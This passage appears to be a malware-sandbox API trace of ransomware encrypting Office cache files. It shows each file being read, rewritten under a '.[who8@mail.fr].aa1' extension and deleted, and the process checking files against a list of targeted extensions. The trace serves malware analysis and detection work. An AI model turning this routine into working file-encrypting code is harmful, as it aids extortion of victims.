dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0200.724] GetLastError () returned 0x0 [0200.724] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x646, lpOverlapped=0x0) returned 1 [0200.726] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x650, lpOverlapped=0x0) returned 1 [0200.727] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0200.727] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0200.727] SetEndOfFile (hFile=0x15c) returned 1 [0200.727] CloseHandle (hObject=0x15c) returned 1 [0200.727] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.728] SetEndOfFile (hFile=0x178) returned 1 [0200.729] CloseHandle (hObject=0x178) returned 1 [0200.729] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.729] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0200.730] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0200.730] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0200.730] lstrlenW (lpString=".doc") returned 4 [0200.730] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.730] lstrlenW (lpString=".docx") returned 5 [0200.730] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0200.730] lstrlenW (lpString=".pdf") returned 4 [0200.730] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.730] lstrlenW (lpString=".xls") returned 4 [0200.730] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.730] lstrlenW (lpString=".xlsx") returned 5 [0200.730] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0200.730] lstrlenW (lpString=".ppt") returned 4 [0200.730] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.730] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0200.730] lstrlenW (lpString=".zip") returned 4 [0200.730] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.730] lstrlenW (lpString=".rar") returned 4 [0200.730] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.730] lstrlenW (lpString=".bz2") returned 4 [0200.731] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.731] lstrlenW (lpString=".7z") returned 3 [0200.731] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0200.731] lstrlenW (lpString=".dbf") returned 4 [0200.731] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0200.731] lstrlenW (lpString=".1cd") returned 4 [0200.731] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0200.731] lstrlenW (lpString=".jpg") returned 4 [0200.731] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0200.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0200.731] lstrlenW (lpString=".doc") returned 4 [0200.731] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.731] lstrlenW (lpString=".docx") returned 5 [0200.731] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0200.731] lstrlenW (lpString=".pdf") returned 4 [0200.731] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.731] lstrlenW (lpString=".xls") returned 4 [0200.731] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.731] lstrlenW (lpString=".xlsx") returned 5 [0200.732] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0200.732] lstrlenW (lpString=".ppt") returned 4 [0200.732] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0200.732] lstrlenW (lpString=".zip") returned 4 [0200.732] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.732] lstrlenW (lpString=".rar") returned 4 [0200.732] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.732] lstrlenW (lpString=".bz2") returned 4 [0200.732] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.732] lstrlenW (lpString=".7z") returned 3 [0200.732] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0200.732] lstrlenW (lpString=".dbf") returned 4 [0200.732] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0200.732] lstrlenW (lpString=".1cd") returned 4 [0200.732] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0200.732] lstrlenW (lpString=".jpg") returned 4 [0200.732] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.732] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.732] lstrlenW (lpString="Setup.xml") returned 9 [0200.733] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0200.733] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1988) returned 1 [0200.734] CloseHandle (hObject=0x178) returned 1 [0200.734] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0200.734] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.734] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0200.734] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.734] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.734] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0200.734] GetLastError () returned 0x0 [0200.734] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0200.736] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0200.737] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0200.737] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0200.737] SetEndOfFile (hFile=0x15c) returned 1 [0200.737] CloseHandle (hObject=0x15c) returned 1 [0200.738] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.738] SetEndOfFile (hFile=0x178) returned 1 [0200.739] CloseHandle (hObject=0x178) returned 1 [0200.739] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.739] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0200.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.740] lstrlenW (lpString=".doc") returned 4 [0200.740] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.740] lstrlenW (lpString=".docx") returned 5 [0200.740] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0200.740] lstrlenW (lpString=".pdf") returned 4 [0200.740] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.740] lstrlenW (lpString=".xls") returned 4 [0200.740] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.740] lstrlenW (lpString=".xlsx") returned 5 [0200.740] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0200.740] lstrlenW (lpString=".ppt") returned 4 [0200.740] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.740] lstrlenW (lpString=".zip") returned 4 [0200.740] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.740] lstrlenW (lpString=".rar") returned 4 [0200.740] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.740] lstrlenW (lpString=".bz2") returned 4 [0200.740] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.740] lstrlenW (lpString=".7z") returned 3 [0200.740] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.740] lstrlenW (lpString=".dbf") returned 4 [0200.740] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.740] lstrlenW (lpString=".1cd") returned 4 [0200.741] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.741] lstrlenW (lpString=".jpg") returned 4 [0200.741] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.741] lstrlenW (lpString=".doc") returned 4 [0200.741] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.741] lstrlenW (lpString=".docx") returned 5 [0200.741] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0200.741] lstrlenW (lpString=".pdf") returned 4 [0200.741] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.741] lstrlenW (lpString=".xls") returned 4 [0200.741] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.741] lstrlenW (lpString=".xlsx") returned 5 [0200.741] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0200.741] lstrlenW (lpString=".ppt") returned 4 [0200.741] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.741] lstrlenW (lpString=".zip") returned 4 [0200.741] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.741] lstrlenW (lpString=".rar") returned 4 [0200.741] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.741] lstrlenW (lpString=".bz2") returned 4 [0200.741] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.741] lstrlenW (lpString=".7z") returned 3 [0200.741] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.741] lstrlenW (lpString=".dbf") returned 4 [0200.741] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.741] lstrlenW (lpString=".1cd") returned 4 [0200.741] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.742] lstrlenW (lpString=".jpg") returned 4 [0200.742] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.742] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.742] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0200.742] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0200.744] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1452) returned 1 [0200.744] CloseHandle (hObject=0x178) returned 1 [0200.744] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0200.744] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.744] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0200.744] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.744] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.744] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0200.744] GetLastError () returned 0x0 [0200.744] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0200.746] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0200.747] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0200.747] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0200.747] SetEndOfFile (hFile=0x15c) returned 1 [0200.747] CloseHandle (hObject=0x15c) returned 1 [0200.748] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.748] SetEndOfFile (hFile=0x178) returned 1 [0200.750] CloseHandle (hObject=0x178) returned 1 [0200.750] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.750] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0200.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0200.750] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0200.750] lstrlenW (lpString=".doc") returned 4 [0200.750] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.750] lstrlenW (lpString=".docx") returned 5 [0200.750] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0200.750] lstrlenW (lpString=".pdf") returned 4 [0200.750] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.750] lstrlenW (lpString=".xls") returned 4 [0200.751] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.751] lstrlenW (lpString=".xlsx") returned 5 [0200.751] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0200.751] lstrlenW (lpString=".ppt") returned 4 [0200.751] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0200.751] lstrlenW (lpString=".zip") returned 4 [0200.751] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.751] lstrlenW (lpString=".rar") returned 4 [0200.751] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.751] lstrlenW (lpString=".bz2") returned 4 [0200.751] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.751] lstrlenW (lpString=".7z") returned 3 [0200.751] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0200.751] lstrlenW (lpString=".dbf") returned 4 [0200.751] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0200.751] lstrlenW (lpString=".1cd") returned 4 [0200.751] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0200.751] lstrlenW (lpString=".jpg") returned 4 [0200.751] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0200.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0200.751] lstrlenW (lpString=".doc") returned 4 [0200.751] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.751] lstrlenW (lpString=".docx") returned 5 [0200.751] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0200.751] lstrlenW (lpString=".pdf") returned 4 [0200.751] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.751] lstrlenW (lpString=".xls") returned 4 [0200.751] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.752] lstrlenW (lpString=".xlsx") returned 5 [0200.752] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0200.752] lstrlenW (lpString=".ppt") returned 4 [0200.752] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0200.752] lstrlenW (lpString=".zip") returned 4 [0200.752] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.752] lstrlenW (lpString=".rar") returned 4 [0200.752] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.752] lstrlenW (lpString=".bz2") returned 4 [0200.752] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.752] lstrlenW (lpString=".7z") returned 3 [0200.752] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0200.752] lstrlenW (lpString=".dbf") returned 4 [0200.752] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0200.752] lstrlenW (lpString=".1cd") returned 4 [0200.752] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0200.752] lstrlenW (lpString=".jpg") returned 4 [0200.752] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.752] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.752] lstrlenW (lpString="Setup.xml") returned 9 [0200.752] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0200.753] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1872) returned 1 [0200.753] CloseHandle (hObject=0x178) returned 1 [0200.753] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0200.753] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.753] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0200.753] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.753] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.753] CreateFileW 